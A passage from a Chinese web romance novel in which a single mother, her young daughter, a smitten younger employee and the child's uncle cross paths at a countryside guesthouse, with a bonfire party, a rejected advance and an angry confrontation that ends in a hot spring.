“这不挺明显的吗?”沈欣瑜看一眼旁边看起来像是一下子自闭的星星,也觉得怪心疼的,“虽然男人这种东西,有的是,没那么缺,具体的也说不出有什么用,但是孩子的成长过程中如果真的缺乏父爱,确实容易跟其他小孩拉开心理方面的距离。就你那个邻居,许英是吧,前夫都渣成什么样了,不也让儿子保持一周跟爸爸见一次面么。” 喻梨眉头皱更紧,除开爸爸,星星外公外婆、姥姥姥爷都没见过,只有她。 沈欣瑜看她模样,玩笑道:“实在不行,给孩子租个爸爸呗,一周见一次那种,说不定也有点用,如果你不打算结婚的话。” 喻梨随手砸了一个纸团过去,沈欣瑜不敢瞎说,笑嘻嘻离开她办公室。 喻梨偏头看一眼地毯上的星星,陷入沉思。 桌上手机忽然震动,沈欣瑜的信息【差点忘了,与其租爸爸,你的小奶狗是不是还等着上位?找个小爸爸怎么样?肯定跟星星没代沟】 【滚!】 喻梨下午带星星去赵雨浓那儿,打算带她跟虎斑玩,住一晚,顺便泡泡温泉。 车子刚行驶到到山路弯到,忽然开不动,喻梨的车前天才修好,居然又出问题,她抓了一把头发,转头笑嘻嘻对星星说:“宝贝,看来我们要换车了,宝贝喜欢什么颜色的车呢,我们到时候一起去选好不好?” 单独跟她在一起,星星又很活泼:“我喜欢粉红色。” 喻梨一边拿手机联系赵雨浓,一边回答她:“粉红色的小裙子可以,粉红色的车车的话,妈妈开出去别人会觉得不稳重,我们再选个其他颜色吧。” 电话想了好几声,对面没接。 喻梨深吸一口气,将星星从后面儿童座椅抱下来:“你干妈好像总是在关键时刻漏气!” 此处前不着村后不着店的,属于景区附近,但是视野非常开阔,远处能看见成片种植的橘子,这个季节,金灿灿的一片。 喻梨带着星星站在车边,在想是先打顺风车去赵雨浓那儿,还是先叫拖车的。 后面一辆黑色SUV开过来,保镖从车上推门下来,大步走过来问她:“喻小姐,是碰上什么麻烦了吗?” 喻梨差点儿忘了,沈砚派的保镖居然还没走,大概他们确实怕吓到星星,一直跟得挺远的。 这会儿喻梨也不矫情,直接说:“车子忽然不动了,你们能修吗?” 两个保镖相互看一眼,其中一个说:“我试试。” 说完,打来前车盖,后面的一个从SUV里搬下来一个工具箱,大有要检查一番的架势,看起来还挺靠谱的。 星星有点好奇,眨巴着眼睛问她:“妈妈,叔叔在翻我们家车车。” “嗯,叔叔在修车。”喻梨回答她。 “叔叔会修吗?” “应该……可能……会吧。”喻梨随口答道,忽然反应过来,这是这几天星星第一次主动问问题。 转头看一眼牵在手心里的女儿,星星脑袋跟着修车的保镖转动,一副好奇极了的模样,仿佛对修车很感兴趣。 检查了一番也没什么问题,两个保镖面露疑惑,其中一个去到喻梨驾驶座,忽然问出一个灵魂问题:“喻小姐,您上次加油是什么时候,车子好像没油啦……”对方问得不太确定,仿佛不可思议,怎么会是因为忘记加油呢? 喻梨:“……” 从修理厂提车出来时,师傅提醒她可以加点油了,喻梨那天直接开到加油场,本来想加油的,结果中途接到一个工作电话,喻梨把工作处理完,从加油场直接开出来,一直以为自己已经加过油,但似乎,好像……没加。 另一个保镖也挺震惊得看向喻梨。 喻梨垂下脑袋:“……” 最后是SUV送她去赵雨浓酒店,剩下的一个保镖去看附近有没有摩托车可以借点汽油,毕竟加油站是禁止卖散装油的。 赵雨浓听她讲完这个乌龙都笑得发抖,被喻梨扔了一只抱枕过去:“还不是因为关键时刻,你总不接电话,否则我至于这么丢人么?” 赵雨浓笑得不可抑制,随即说:“我当时在处理客人的问题,刚才民宿来了一波小年轻,一下子要四间房,房间不够住,在找隔壁名宿协调,忘了拿手机。” 喻梨白她一眼。 收拾好东西出去。 发现星星正拿着树枝在地上戳了戳的,虎斑围着她大转,旁边站着一个年轻小伙。 居然是祁阳。 祁阳蹲在身问她:“你在干什么?” 喻梨以为星星不会回答,她最近讨厌回答陌生人问题。 结果星星看他一眼,忽然说:“我在修车,我妈妈的车坏了,我要给她修好,你会修车吗?” 第59章 第59章砚握着行李箱的手指倏然…… 祁阳愣住:“你妈妈车坏了?” “嗯。”星星点头,头上两个小啾啾一翘一翘的,分外可爱,“妈妈车坏了,有叔叔帮忙修,叔叔也修不好,唉……”小姑娘还像模像样的叹口气,跟个小大人似的。 祁阳克制住想rua她一把的冲动,她跟喻梨的脸型还有嘴唇的部分很像,可爱得要命。 “祁阳,逗小孩儿呢, 要不要拐跑跟我们一块儿去摘草莓。”民宿大厅里有同伴叫他。 “就来。”祁阳应了一声,回头一眼看见站在同伴对面的喻梨。 喻梨已经走过来。 星星扔下树枝,朝她跑几步,邀功似的:“妈妈,我刚才跟虎斑在给你修车车。” 喻梨笑,逗她玩儿:“那你修好没有?” “还差一点点,我会学会的。” 喻梨就把她抱起来,亲亲她脸颊:“星星真棒。” 祁阳也站起来,有点儿呆滞似的,虽然在这里看到星星,就一定想到喻梨的出现,但陡然见到人,他挠挠后脑勺,解释说:“没跟踪你,朋友定的民宿。” 喻梨颔首:“知道,没事儿。”又跟怀里的星星说,“跟叔叔再见。” 这回,星星又好像不那么认生了,跟他挥手:“叔叔再见。” “再见。”祁阳微笑道,刚走几步,准备去跟朋友汇合,又想起什么,转身问星星,“你喜欢吃草莓吗?” 这回星星没回答,下意识看一眼妈妈。 喻梨朝她露出鼓励的笑容,星星就点点头,矜持的:“喜欢的。” “叔叔摘了草莓给你送来。”祁阳笑得眼睛微微眯起。 他们七八个小伙伴,男的女的都有,挤挤挨挨的往民宿外走,有同伴搂着祁阳肩膀,问他:“刚才那美女是谁?认识的?笑那么荡漾,喜欢人家?” “别瞎说,我老板。” “哇,你老板这么年轻,这么正点,都有小孩啦?” “闭嘴,你管那么多。”被祁阳扣住他羽绒服帽子,整个人蒙住脸,不让说话。 赵雨浓站在前台的位置,看一群阳光的少男少女,就差流哈喇子:“姐年轻的时候,也是这么潇洒阳光啊,泡酒吧里,那帅哥一查接一茬的,都是青春珍贵的回忆啊回忆。” 把喻梨逗笑:“说得你多老似的。” 赵雨浓抚着胸口,开始吟唱:“被伤透的心还可以爱谁,没人心疼的滋味……心都死了,跟老又什么区别,也就剩一副光鲜华丽的皮囊在世间苟延残喘罢liao。” 喻梨捂住星星耳朵:“你可别把你的丧气传给星星。” 赵雨浓撇撇嘴:“你不丧,你心还激情澎湃地跳,为了个沈廷屹,你觉得你还有爱谁的能力吗?” 赵雨浓嘴快一说完,就恨不得打自己一嘴巴,赶紧从喻梨怀里捞走星星:“宝贝儿,干妈带你去看干妈新买的鹦鹉。”没出息地遁了。 剩喻梨一个人脸色沉下来,静静站了会儿,直到有客人来前台问她有没有多余的牙刷。 晚上,祁阳一群人在民宿的花园里烤羊肉,除了羊肉,兔子、鸡什么的都有,搭了两个烧烤架,整整提了四五箱啤酒,把简单的篝火晚会搞得像模像样。 都是搞艺术的,还自配专业的音响,有DJ在旁边打歌。 赵老板最开始还客气两句,跟人家说不用不用,你们小孩自己玩就可以,最后架不住人多热闹,大冬天的,衣服一脱,跟几个小孩在火堆里拿着啤酒边喝边跳,玩得那叫一个嗨。 星星对燃烧的火堆又喜欢又有点害怕,一会儿跑进去,一会儿又颠颠儿的摊着手掌跑出来,小圆脸烫得红彤彤的:“妈妈,你看我手都烤红啦。” 喻梨给她垫了汗巾,不时弯腰帮她擦擦汗:“你跑慢点儿,不要跟哥哥姐姐撞到。” 星星学习能力也很强,DJ换音乐,年轻人们换了舞蹈,她就在旁边跟着扭腰扭屁股,有个男生看她可爱,一把抱起她,架到脖子上:“走,叔叔带你跳。”又冲进火堆里。 喻梨吓一跳,本来以为星星会哭,谁知道她‘咯咯咯’笑得可开心,拽着人家的手,兴奋地脸颊红透了,“妈妈你看,我好高!” 大概氛围太好,很久没感觉这么放松过,喻梨也跟着笑得眉眼弯弯。 祁阳负责烤肉,这会儿拿了瓶啤酒过来,递一瓶给喻梨:“怎么不进去一起跳?” 喻梨接过来,喝了一口,大冬天的来一口凉啤酒,居然有种从舌尖滋润到五脏六腑的透心凉的爽气,微笑说:“跳不动了,还得是你们年轻人玩。” 祁阳耸眉,不置可否,跟着喝了一口啤酒,火光里,她一张脸被篝火映得发红,五官精致、眉眼带点浓颜系的艳丽,跟‘老’字可半点不沾边。 他想起下午朋友说得‘正点’,祁阳嘴巴上骂骂咧咧,不准人家评判,这会儿心里也只有几个字‘姐姐好正啊’。 他忽然凑近她说:“一起跳吧,跳一跳,烦恼也许能跳走!” 音乐声到高潮部分,乐声太响,喻梨没听清:“你说什么?” “我说一起跳!”祁阳大声了点儿,忽然拽住她手掌。 喻梨有些惊诧,这是第一次,两个人除了私下见面,在人群面前有肢体接触。 她正有些不知道怎么面对,赵雨浓忽然扭腰摆胯得扭过来,在他俩面前,秀了一把小蛮腰,骚气得要跟喻梨battle。 喻梨哭笑不得,很快被两个人拉入舞池,身体也自然得随着DJ给的音乐摇摆。 人类天生慕火,火光噼里啪啦得燃烧,将冬日的萧条燃烧得热情又奔放,头顶有稀疏的星光闪烁,周围没有城市的钢铁深林,是辽阔又包容的旷野,是自由的风,带着泥土的芬芳。 一群人玩得很嗨,忽然到一个动作,喻梨被祁阳整个人举起来,在空中跟星星碰了个面,星星跟着欢呼:“妈妈,我们都好高啊。” 整群人疯得不行,喻梨身体腾空时,吓一跳,但祁阳搂着她腰肢,稳稳当当地举起她,仿佛上面有多么自由的空气,她在火光里跟笑嘻嘻的女儿对视,感受到一种久违的自由与快乐。 至少那一刻,可以什么都放下,可以什么都不去想。 最后大家都玩疯了,闹腾得不行。 快12点的时候,星星支撑不住,说困就困,打着呵欠,脑袋小鸡啄米似的拉耸下来。 喻梨抱她回房间睡觉,祁阳在旁边看见,主动上前说:“抱得动吗,要不我来?” 被喻梨拒绝,但大约是喝了酒头有点晕,她刚抱起星星,脚下打了个晃,不太稳。 祁阳赶紧将星星接过来,沉稳道:“我来。”说完,不由分手抱起星星往里走,“你们哪个房间?” 喻梨跟在后面,跟他说了房间号。 民宿的房间规格都大差不差,喻梨这间格局跟祁阳的差不多,把睡着的星星放到床上,喻梨去洗手间给星星拧帕子擦脸,估计今晚没办法洗澡了,打算替她简单擦擦就行。 “你玩你的吧,带孩子走不开,我带星星睡了。”喻梨将拧好的热手帕拿出来。 刚走到洗漱间门口,忽然被祁阳整个人掐着腰肢推进洗手间,他力道很大,浑身上下是属于成年男子的力气和气息,仿佛怕她伤到腰,他一只手紧紧搂住她后腰,以防她磕到,嘴唇试图去含她唇瓣:“我很想你。今晚去我房间。” 喻梨心里只有星星,偏头躲过:“你疯了!我还要照顾星星。” 祁阳埋在她肩膀,稳了稳心神:“抱歉,我有点失控。你让我抱一下,可以吗?” 喻梨一时没有动。 祁阳又小心翼翼商量的口吻:“那不照顾的时候,可以吗?” 喻梨推开他,口吻清冷:“不可以,上次说的话,我很认真,我们已经结束。” 洗漱间光影奢华,她一张脸冷清淡然,说得也无情。 祁阳还要再说,喻梨拉了一下被他拽松的衣领,冷若冰霜:“出去!在我女儿在的地方,请你出去。” 祁阳摸了一下鼻尖,有些悻悻的,说了声:“抱歉”,出去了。 门关上,喻梨肩膀松懈,微微松一口气。 她重新弄好热毛巾,把星星的脸蛋,手心,统统擦了一遍,又调高室内温度,给女儿换上睡衣。 期间星星被她弄醒了,迷迷糊糊呢喃了一两句‘妈妈’,喻梨亲亲她小脸蛋,回答她,“在呢,你好好睡,妈妈一直都在。” 星星便又心满意足睡去。 临睡前,祁阳跟她发信息【刚才是我失态,抱歉。】 喻梨没回复,搂着女儿有些困倦地睡去。 第二日,隔壁院子的鸡叫了好几声。 星星醒来,自己玩了会儿,见妈妈一直没醒,穿着她厚厚的睡袋棉衣跑出去找虎斑。 她来民宿玩惯了,不怯生,一来就到处跑,还知道穿拖鞋出去。 在大厅跟着虎 斑跑时,碰见祁阳。 祁阳想起她昨晚骑朋友肩头的模样,想了想,问她想不想骑她脖子,去看院子里的鹦鹉。 星星点点头。 祁阳便把她放在自己肩膀上,带她去看赵雨浓新买的鹦鹉。 两个人在后院逗了会儿鹦鹉,星星笑嘻嘻的,忽然打了个喷嚏。 祁阳这才想起小姑娘只穿着睡袋,虽然睡袋也厚实,但也禁不住冬天的冷风。 赶紧把星星往回带。 沈砚的航班八点多落地南城,知道母女俩在名宿,提着行李箱直接驱车一个多小时过来了。 此刻正在前台办理入住,赵雨浓昨晚也喝高了还没醒,接待他的是酒店服务生,非常抱歉的跟面前面色冷凝还带着清晨露水的男人说:“不好意思,我们昨晚是满房的状态,目前还没有收拾好的房间,隔壁有认识的民宿,需要帮您介绍吗?” 沈砚正微微皱眉,忽然仿佛听到星星声音,转头一看,星星骑在一个年轻小伙的肩头,走进来。 星星很喜欢骑高高,在祁阳的肩膀上也很开心,不时还大胆抓一把他头发,笑出酒窝。 沈砚握着行李箱的手指倏然间收紧,脸色一瞬间变得非常难看,几步走近,要抱走星星。 星星看见他,眨了眨眼,无意识叫了一声:“大伯。” 沈砚向她伸手,克制着让自己声音听上去没那么严厉:“大伯抱,下来。” 祁阳不认识他,有些莫名,往后退了一步:“你是?” 沈砚身上还带着差旅疲倦,刘昕回报说星星最近因为走的那位保姆,变得十分自闭,除开妈妈,谁都不要,很明显似乎有一定的心理问题。他把北城的一些事物往后压了压,又把关于南城的公务提上日程,才有机会得以赶过来。 保镖只说母女俩在这里度假,并没说还有其他人。 此刻看到祁阳,以及开开心心骑在他肩上还穿着睡袋星星,简直是一家人出游的画面,昨晚很有可能睡一起,胸腔瞬间仿佛积了一团火,连额头青筋都隐约跳动。 第60章 第60章下一秒,喻梨忽然抬起腿…… 沈砚从来不需要跟人解释自己的身份,但是大约因为自己脸色太冷,有些吓到星星,见他伸手,小姑娘也不肯要他抱,祁阳又往后退了一步,跟他拉开距离。 场景变得分外尴尬,在祁阳的质问里,沈砚青筋突突突地跳动,从没想过自己有一天,会要跟人解释自己的身份。 而,怎么解释呢,解释自己只是个无足挂齿的孩子的大伯吗? 恰此时,睡醒的喻梨裹着外套出来找星星。 见到星星穿着睡袋坐在祁阳肩膀上,微微皱眉,星星打了个喷嚏,她眉头皱更紧。 “星星。”喻梨走过去,没有理会沈砚与祁阳之间奇怪的气场,安稳地从他肩膀上抱下小姑娘。 不明就里的星星吸了吸鼻尖,还在跟喻梨炫耀:“妈妈,鹦鹉会唱歌,我听到它唱歌了。” 喻梨摸到她冰凉的小手,眉头皱成‘川’字:“它唱得什么歌,它有唱外面好冷,提醒你不要到处乱跑吗?” 祁阳闻言,默默鼻尖解释:“抱歉,看她在大厅里追着小猫玩儿,一时兴起就带她去了院子里。” 喻梨看他一眼:“我先带她回房间换衣服。” 说完,抱着星星往房间走,仿佛没有看到沈砚。 而星星仿佛终于想起还有个‘大伯’,忍不住伸着脖子望向沈砚的方向,黑白分明的眸子直愣愣的,透着几分无辜。 沈砚握着拉杆的手指紧了紧,片刻后,选择默默跟上母女俩。 祁阳整个人怔在原地,沈砚的气势太强,举手抬足间,沉稳冷冽,身上散发的生人勿进的上位者气质太强烈,很难让人靠近或者质疑。 喻梨在关门时被沈砚将行李箱强势卡进去,两人目光在空气中对视片刻,喻梨有些不爽地眯着眼,沈砚镜片后的一双眼睛冷肃锐利,透着绝对强势入侵的气息。 喻梨手里还抱着星星,最终不敌他力气,让他进来了。 两个人谁都没有说话。 喻梨径直抱着星星去行李箱里的要给她换的衣服,沈砚环顾一周,房间内没有发现任何属于男性的痕迹,脸色稍霁,忍不住抬手微微松了松领带。 看喻梨把星星放在床上后,星星才没那么乖得让妈妈换衣服,抱着她床上的玩偶,开始又蹦又跳。 喻梨抓了好几把,没抓到星星,小姑娘笑嘻嘻的,像是在跟喻梨玩,喻梨胸口压着火,口吻不禁重了些:“过来,星星。我数一二三了啊!” 星星望着目光严厉的妈妈,扁了扁嘴巴,有些委屈似的,不吭气了。 沈砚便终于开口说:“你想发火的人是我,冲着星星干什么?” 还挺有自知之明,喻梨简直都快被他气笑:“沈砚,你觉不觉得自己挺阴魂不散的?” 沈砚没有方才愤怒,但情绪也不算冷静,微扯了一下唇角:“怎么,打扰你带星星跟人约会?” 喻梨半插着腰,舌尖顶了顶腮帮,觉得此刻的场景简直荒谬:“我跟任何人约会,需要跟你解释报备吗?” 镜片后,沈砚一双桃花眼暗了暗,情绪涌动,晨间的阳光从落地窗毫无保留照射进来,他半边身体站在逆光的阴影里,俊脸暗淡,嗓音低沉:“不用。” 星星望望这个,望望那个,明显感到两个大人之间紧张的气氛,但她居然没哭,只是猛得打了两个响亮的喷嚏,打破此刻氛围的怪异。 “星星,过来。”喻梨懒得理会他,朝星星道。 沈砚走近几步,不满:“你对她那么凶做什么?” 喻梨真是攒了一肚子的气无处发泄,忽然将星星的小衣服往床上一扔:“行,你温柔,那你给她换!” 沈砚瞬间被架起。 喻梨是真的一大早窝了火,转身拿了香烟出去。 剩沈砚跟星星在房间内大眼瞪小眼。 沈砚清咳了咳,抬手挑了挑星星那堆衣服,大概是先换里面的棉质秋衣,口吻温柔了些:“星星,过来,咱们换衣服。” 星星抱着自己的小玩偶,沉默片刻后,倔强道:“我要妈妈换。” 隔了会儿,又撇撇嘴:“大伯不可以换,羞羞。” 沈砚微微闭了闭眼,在想该怎么跟一个三岁多的女孩解释,她其实还不至于到男女大防的年纪。 喻梨出去抽烟的功夫,赵雨浓已经醒了,整个人跟幽魂似的,游荡到喻梨身边,打着呵欠问她:“大清早的,你就心烦抽烟?” 喻梨一只手插在衣服口袋里,整个人其实也没有洗漱,头发还有点乱,忽然说:“最近经常在想,是不是错误,如果早知道生下星星会这样纠缠……” 赵雨浓脑子还带着宿醉的迷蒙,挠了把头发:“谁?纠缠谁?我干女儿人见人爱,花见花开,你不要扔给我啊,我要的。” 喻梨偏头看她的萎靡苍白的宿醉脸一眼,有些懒得说话,将剩余的半根烟头捻灭,提醒自己要沉得住气,要学会修炼控制情绪,深吸一口气,重新回到房间。 但她没拿房卡,这次只能敲门。 沈砚来开门时,头发已经被抓成鸡窝,顶了一只星星的小袜子,模样简直滑稽。 喻梨微微诧异,眉毛不动声色挑了一下,往里走,看见床上星星那个小淘气,正穿着半条秋裤,露着光溜溜的小屁股,在床上又蹦又跳,显然沈砚也并未帮她穿成功。 喻梨顿时冷笑:“所以,你温柔得给她穿好衣服没?” 少有的,英俊的男人这次选择沉默。 喻梨冷着脸开始数数:“星星!一!二!” 还没数到三,觑到她眼神的星星自动停止,抱着娃娃装无辜,谈条件:“妈妈你不要数到三嘛。” “那你过来穿衣服。”喻梨口吻温和了一点。 这次,小姑娘很识时务,老老实实自动爬向喻梨。喻梨三下五除二利索地帮她穿好秋衣秋裤,然后是毛衣,裤子,羽绒服外套,最后是她的小袜子,但只有一只。 喻梨穿好唯一的一只,跟星星一起齐齐望向沈砚。 星星捂着嘴 偷笑,喻梨面无表情,不知道沈砚是真没察觉,还是故意装蒜,踮起脚尖,摘下沈砚头顶那只彩色小袜子。 沈砚对着母女俩的目光正有些莫名,喻梨的手忽然伸过来,她手指白皙,脸颊擦过他,隐约的,身上还带着一丝烟草味道,沈砚在她亲近的动作里忽然浑身僵硬。 但等很快见到一只袜子从他脑袋上拿下来,这种僵硬感瞬间消失,看了眼捂着嘴唇笑嘻嘻的星星,简直又好气又好笑。 也就是亲生的,不然—— 不然怎么样,沈砚也没想好。 但此刻,沈砚在给星星手忙脚乱的换衣服的这个早晨里,恍惚有种奇怪又松懈的日常感,仿佛每个早晨喻梨都是这样跟星星起床的,仿佛他也参与了每个早晨的这样温馨的日常。 喻梨很快带星星去卫生间洗漱,沈砚坐在靠近独立院子的藤椅上,凌晨的航班,即使是最好的豪华舱也睡得不踏实,忽然的松懈,加上慵懒闲适的日光,他摘下眼镜,在静坐里忍不住微微阖上了眼帘。 星星洗漱好先跑出来,忍不住靠近他,看见他放在茶几上的眼镜,好奇地伸手去碰,沈砚听到动静,睁开眼,抱起她。 星星乖顺地坐到他腿上,问他:“这是什么?” “眼镜。” “戴眼睛上吗?”小姑娘天真无邪的一张脸,透着好奇。 沈砚笑着‘嗯’了一声。 星星便跃跃欲试:“我给你戴。” 说完把眼镜朝他脸上杵,沈砚耐心教她,要把哪个位置放在耳朵后面 很快的,眼镜戴好了,星星左看看,右看看,对自己的劳动成果似乎十分满意,忽然吧唧往他脸上亲了一口。 第一次被女儿亲吻的沈砚:“.……” 美好得像是梦幻,一瞬间有种傻气又不知所措的感觉。 但始作俑者浑然不觉,听见桌上喻梨的手机一直震动,蹬蹬蹬地从他腿上跳下去,又踮起脚去够喻梨的手机,成功摸到后跑进洗漱间,邀功似的:“妈妈,有人给你打电话。” 喻梨已经弄得差不多,弯腰接过:“谢谢宝贝。” 拿过手机查看,发现是赵雨浓发的昨晚的照片。 一个晚上,赵雨浓就跟人家打成一片,还不知道哪里弄来这么多照片,有星星的,也有自己的。 大概昨晚上确实过得十分惬意,刷照片的喻梨露出笑容。 “是什么?妈妈我也要看。”星星踮起脚尖,小猴似的扒拉着她腿,喻梨就把有她的几张翻给她看,小姑娘越看越喜欢,逐渐自己拿过手机。 喻梨要收拾洗漱台的护肤品,也就随她了。 星星不仅自己要看,也很有分享欲,将手机拿出去,臭美:“大伯,你看我……好大的火……我勇不勇敢?” 沈砚还在回味女儿的那个吻,忽然被星星扑进来,更是心猿意马,把她抱起来一起看。 喻梨隐约听到星星在跟沈砚分享,微微皱眉,想出声喝止,已经来不及。 沈砚陪星星一张张划过照片,其中几张已经逐渐不对劲儿,最明显的一张照片里,喻梨被祁阳整个抱起,在火光里,笑得自由散漫,而好几张照片里,捕捉到祁阳看她的目光,都是满眼的爱慕眷恋。 赵雨浓大约看喻梨没反应,恰此时发来信息【不是我眼花吧,你们公司这个小男神,看你的眼神敢说没有鬼!】配了两张色.唧唧的动态图。 沈砚手指蜷了蜷,身上气息有些逐渐有些不稳。 收拾好洗漱品的喻梨已经几步过来,一把夺过手机:“你的修养素质呢?凭什么偷看人手机!” 沈砚还抱着星星,凝视她的目光冷冽直白,桃花眼幽深,仿佛是要看进她心里去。 喻梨懒得搭理他,抢回手机后,开始收拾回程的行李箱。 沈砚见她动作,整理了一下自己的情绪,克制着嗓音问:“你们要回去了?” 喻梨‘嗯’了一声。 沈砚看一眼自己还没开封的行李箱,忽然有点不明白自己大清早赶过来是图什么。 但他很快想起什么,极力克制着问:“跟他一起?” 喻梨听不大懂他在问什么,就懒得回答,自顾收拾东西。 星星在沈砚腿上待得无聊,很快跳下来,东摸摸,西摸摸。 喻梨提醒她:“宝贝,自己的东西自己整理,把你的玩具放进你的小行李箱。” 星星重复她的话,摸鱼地开始行动,嘴巴里念着顺口溜:“自己的事情自己做,别人的事情帮忙做,妈妈的事情抢着做……” 沈砚忽然起身,拽住喻梨手臂,眉心皱很紧,但似乎已经极为克制:“我们谈一谈。” 喻梨猝不及防,被她拽到旁边的温泉庭院里。 旁边有单独的私汤,此刻,流动的泉水还冒着腾腾热气。 沈砚垂眸看她,抓她手臂的手指握得很紧:“你上次告诉我你的底线,我接受了,我是不是没有讲过我的底线?” 喻梨觉得他简直莫名其妙,挣脱开,咬了一下唇,刚想反击他,他的底线干她屁事。 沈砚眼睛里还带着熬夜的红血丝,一字一句说:“我的底线是,带星星的时候,不可以跟别的男人一起。” 喻梨卡在喉咙里的脏话一下子憋回去,忽然想起什么,以沈砚的视角,她的确很像是跟祁阳约好了一起来的。 虽然不是事实,但喻梨压根儿懒得解释,她简直都快被气笑了,抱着手臂:“沈砚你现在不仅没素质没修养,跟踪狂,你还脑子有病吧,你凭什么跟我讲这种底线,你有什么资格跟我讲这种话?” 沈砚选择充耳不闻,看她的目光是赤红的,情绪却极端克制的冷静,嗓音低沉清冽:“刚才说错了,去掉‘带星星的时候’这个条件,我的底线是不可以跟别的男人在一起。” 喻梨发现自己手痒,非常想扇人耳光,但她告诉自己在修炼情绪,人生处处是修炼,冷静,不要同他计较,深呼吸几口气,转身。 沈砚再一次拽住她,桃花眼凝视着她,不肯松懈片刻,眼底情绪浓烈,喉结几次起伏,仿佛知道怎么说都会被她轻视,但还是坚持,从喉咙里滚咽出的字句:“以追求你的名义,喻梨,我喜欢你。” 喻梨这次终于跟他对视。 但她目光依然平静,仿佛笑话他都懒得。 沈砚在她平稳冷静的情绪里节节败退,胸口被一阵一阵苦涩又心酸的浪潮涌没,无意识放开她。 下一秒,喻梨忽然抬起腿,猛得给了他一脚,直接猝不及防将他踹进旁边的温泉水里。【你现在阅读的是 】 60-70 第61章 第61章“那跪下吧,沈砚。”她…… 温泉水池不大,但要容纳一个一米八几的沈砚还是可以的。 星星把自己的玩具都乱七八糟地丢进行李箱,又费力的把行李箱盖子阖上,兴冲冲的想去找妈妈表扬她。 结果大人们都不在了,反而听到一阵水声,星星咚咚咚跑过去,看见掉进水池里的大伯,天真地问:“妈妈,大伯在洗澡吗?” 喻梨抱着手臂欣赏沈砚落水的狼狈样,听见女儿的问题,冷笑:“嗯,他喜欢洗澡。” 星星来了兴趣,跃跃欲试:“妈妈,我也想洗澡。” “你不想。”喻梨冷漠道,随即牵着女儿进屋。 星星颇有些恋恋不舍地回头望一眼已经只剩半个身体泡在水池里,这会儿抹了一下脸的大伯,他眼镜也被打湿了,眼睛又红红的,像兔子,但仿佛很气恼似的,拍了一下水池里的水。 一下子溅起好多漂亮的水花,很好玩的样子,星星特别想去玩,但是看一眼冷着脸的妈妈,星星觉得还是不要跟妈妈提这个要求比较好。 “大伯再见。”想到这里,星星默默地跟水池里的男人挥了挥手,有些遗憾道。 喻梨提着行李箱,准备返程。 都半晌午了,赵雨浓的酒气醒得差不多了,这会儿收拾好自己,又是端庄贤淑的赵老板,见喻梨准备回去,将准备好的腊货递给她,足足有两箱:“我妈给你做的,有星星最喜欢的甜味香肠,不要浪费她老人家心意。” “行。”喻梨倒没客气,“帮我谢谢阿姨。” “对了,你车呢?”赵雨浓见她有两个行李箱,打算搭把手,“我帮你搬上车。” 喻梨这才想起,自己的车昨天被保镖帮忙拿去加油去了,不知道弄好没有。 她不知道那两个保镖住哪儿,但总归还记得他俩的车,出去找了一圈,很快找到,敲了一下对方车窗。 “我车昨天弄好了吗?麻烦你们了” 保镖A看一眼只带着女儿的喻梨,没有看到老板,目光闪了闪,回复说:“抱歉,喻小姐,您的车我们虽然加上了油,但是车子还是有些问题,送去修理厂,您不介意的话,等老板出来,一起送您回去。” 保镖B有些震惊地看着保镖A说瞎话。 喻梨微微皱眉,不太确定车子是不是真的有其他问题,但是对方这么义正言辞的说法,她也不好多纠缠。 “不用了,我再想想办法。”喻梨只好说。 保镖A推门下车,正准备劝说几句,祁阳和他们一群小伙伴已经背着行李出门,果然一群搞音乐的,去哪儿都带着自己的乐器,吵吵嚷嚷地已经退完房走出来。 祁阳看到她,脚步微顿,他旁边小伙伴看到他模样,促狭地撞撞他肩膀,然后跟喻梨挥手:“嘿,美女老板,回城里吗,一起呗。” 他本意是开车一起走。 但喻梨想了想,让赵雨浓送她再返程,的确太绕路,于是问:“你们车上还有位置吗?” 他小伙伴立刻说:“祁阳车上有。” 保镖A有些慌,刚想解释几句,喻梨已经对祁阳说:“那就给你们添麻烦了。” 于是等沈砚换好干净衣服出来时,得知喻梨已经坐祁阳的车走了。 赵雨浓在前台看到沈砚非常惊讶,简直跟见到鬼似的,尤其发现沈砚似乎还是从喻梨房间里出来的,更是觉得自己是不是昨晚喝酒后遗症,喝出幻觉。 祁阳他们只有三部车,因此除开喻梨,祁阳的副驾驶必须搭一个小伙伴才够位置,有个年轻小姑娘本来想挤进副驾驶,被祁阳哥们儿强硬抱下车,自己坐进来了。 车是敞篷车,一群人嗨惯了,另外两个车上的人把车顶打开,一路飙歌,一路嗨,自由又奔放。 大约是考虑到车上有星星在,祁阳没打开车顶。 两个人气氛还透着某种尴尬,喻梨上车后带着星星,也没说话。 车内气氛沉默一阵儿,副驾驶的哥们儿坐不住了,开始帮祁阳助攻:“美女老板,喜欢听什么音乐,我们阳哥这儿都有,给你放。” “都行,我对音乐没什么研究。”喻梨客气道。 “那我给你放我们阳哥自己写的歌哈,你等着。”说完在祁阳音响那里捣鼓了一番,舒缓的音乐在车内响起。 祁阳做直播是以才艺取胜的,他经常在直播间给粉丝唱歌或者弹琴,但几乎都是放别人的歌,喻梨第一次听他自己写的歌。 舒缓悦耳,歌词也很走心,还不错。 “怎么样,我哥们儿有才吧,大学的时候就自己捣鼓写歌了,我们大学的时候搞乐队,好多歌都是他自己写的,也就现在娱乐圈不景气,不然我这哥们儿早红了。”祁阳好友简直王婆卖瓜式的推销祁阳,开车的祁阳耳根微红,暗地里瞪了他一眼,又忍不住从车内后视镜去看后排喻梨脸色。 喻梨微笑:“他现在也挺红的,直播间人气很高。” “也是,现在娱乐圈虽然难进,但走红的方式多种多样,搞音乐的也要生存,阳哥比我们强,有自己的计划跟打算,你别看他跟我们混一起吊儿郎当的,其实他这人特踏实,特靠谱,特仗义……” 祁阳这回忍不了哥们儿吹嘘,看见后排已经在打瞌睡的星星,侧头道:“你小声点。”又回头问喻梨,“孩子是不是想睡觉,我把音乐声调低点儿。” 喻梨看一眼怀里已经闭眼的星星,‘嗯’了一声:“谢谢。” 他哥们儿还不死心,压着嗓音跟后座喻梨继续侃:“人是不是也挺贴心的,特仔细。” 祁阳受不了他,压低了音量吼他:“你闭嘴吧。” 喻梨敛眉,忍不住有点想笑。 祁阳后视镜看她神色自然,不像介怀的样子,稍稍放心。 喻梨兜里的手机震动。 是赵雨浓跟她发信息,第一张是图片,沈砚已经换了一身休闲服,推着他行李箱走出吧台,大约因为被踹,身上气息冷冽。 【我喝醉了幻觉,这是不是沈砚,他从你的房间出来的!】配上‘震惊我狗眼’的表情包。 【那你记得找他付房费。】喻梨回复道。 把赵雨浓噎得:【狗头保命,你没看他简直要杀人的眼神吗我还敢要找他付房费!昨晚怎么回事?他什么时候来的?你俩啥情况?】 【早晨来的,他来看星星,你宿醉,所以没注意到他。】 